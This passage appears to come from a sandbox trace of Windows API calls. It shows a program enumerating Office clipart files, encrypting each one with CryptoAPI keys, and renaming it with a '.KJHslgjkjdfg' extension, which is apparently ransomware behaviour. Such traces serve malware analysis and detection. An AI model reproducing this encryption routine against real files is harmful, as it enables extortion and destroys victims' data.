nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.628] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.629] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.629] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.629] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.629] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8b2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8b2, lpOverlapped=0x0) returned 1 [0158.629] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8c0) returned 1 [0158.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.629] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8c0, lpOverlapped=0x0) returned 1 [0158.629] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.629] SetEndOfFile (hFile=0x114) returned 1 [0158.632] GetProcessHeap () returned 0x2a0000 [0158.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.632] GetProcessHeap () returned 0x2a0000 [0158.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.632] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.kjhslgjkjdfg")) returned 1 [0158.633] CloseHandle (hObject=0x114) returned 1 [0158.634] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0158.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.634] GetProcessHeap () returned 0x2a0000 [0158.634] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.634] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.634] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.642] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.642] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.642] GetProcessHeap () returned 0x2a0000 [0158.642] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.642] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.642] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.642] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.643] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.643] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.643] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.643] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.643] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.643] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.643] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x39e4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x39e4, lpOverlapped=0x0) returned 1 [0158.644] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x39f0, dwBufLen=0x39f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x39f0) returned 1 [0158.644] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.644] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x39f0, lpOverlapped=0x0) returned 1 [0158.645] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.645] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.645] SetEndOfFile (hFile=0x114) returned 1 [0158.647] GetProcessHeap () returned 0x2a0000 [0158.647] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.647] GetProcessHeap () returned 0x2a0000 [0158.647] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.kjhslgjkjdfg")) returned 1 [0158.648] CloseHandle (hObject=0x114) returned 1 [0158.648] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0158.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.649] GetProcessHeap () returned 0x2a0000 [0158.649] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.649] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.650] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.654] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.654] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.654] GetProcessHeap () returned 0x2a0000 [0158.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.654] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.654] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.654] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.654] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.654] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.654] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.654] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.654] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.655] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.655] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe6c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe6c, lpOverlapped=0x0) returned 1 [0158.655] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe70, dwBufLen=0xe70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe70) returned 1 [0158.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.655] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe70, lpOverlapped=0x0) returned 1 [0158.655] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.655] SetEndOfFile (hFile=0x114) returned 1 [0158.657] GetProcessHeap () returned 0x2a0000 [0158.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.658] GetProcessHeap () returned 0x2a0000 [0158.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.kjhslgjkjdfg")) returned 1 [0158.659] CloseHandle (hObject=0x114) returned 1 [0158.659] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0158.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.660] GetProcessHeap () returned 0x2a0000 [0158.660] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.660] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.660] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.660] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.660] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.660] GetProcessHeap () returned 0x2a0000 [0158.660] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.660] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.660] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.660] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.663] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.663] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.663] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.663] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.663] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.663] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.664] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe30, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe30, lpOverlapped=0x0) returned 1 [0158.664] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe30, dwBufLen=0xe30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe30) returned 1 [0158.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.664] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe30, lpOverlapped=0x0) returned 1 [0158.664] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.664] SetEndOfFile (hFile=0x114) returned 1 [0158.667] GetProcessHeap () returned 0x2a0000 [0158.667] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.667] GetProcessHeap () returned 0x2a0000 [0158.667] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.kjhslgjkjdfg")) returned 1 [0158.668] CloseHandle (hObject=0x114) returned 1 [0158.668] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0158.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.669] GetProcessHeap () returned 0x2a0000 [0158.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.669] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.670] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.670] GetProcessHeap () returned 0x2a0000 [0158.670] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.670] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.670] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.670] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.672] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.672] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.672] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.672] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.672] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.672] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.672] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe20, lpOverlapped=0x0) returned 1 [0158.672] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe20, dwBufLen=0xe20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe20) returned 1 [0158.672] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.672] WriteFile (in: hFile=0x114, 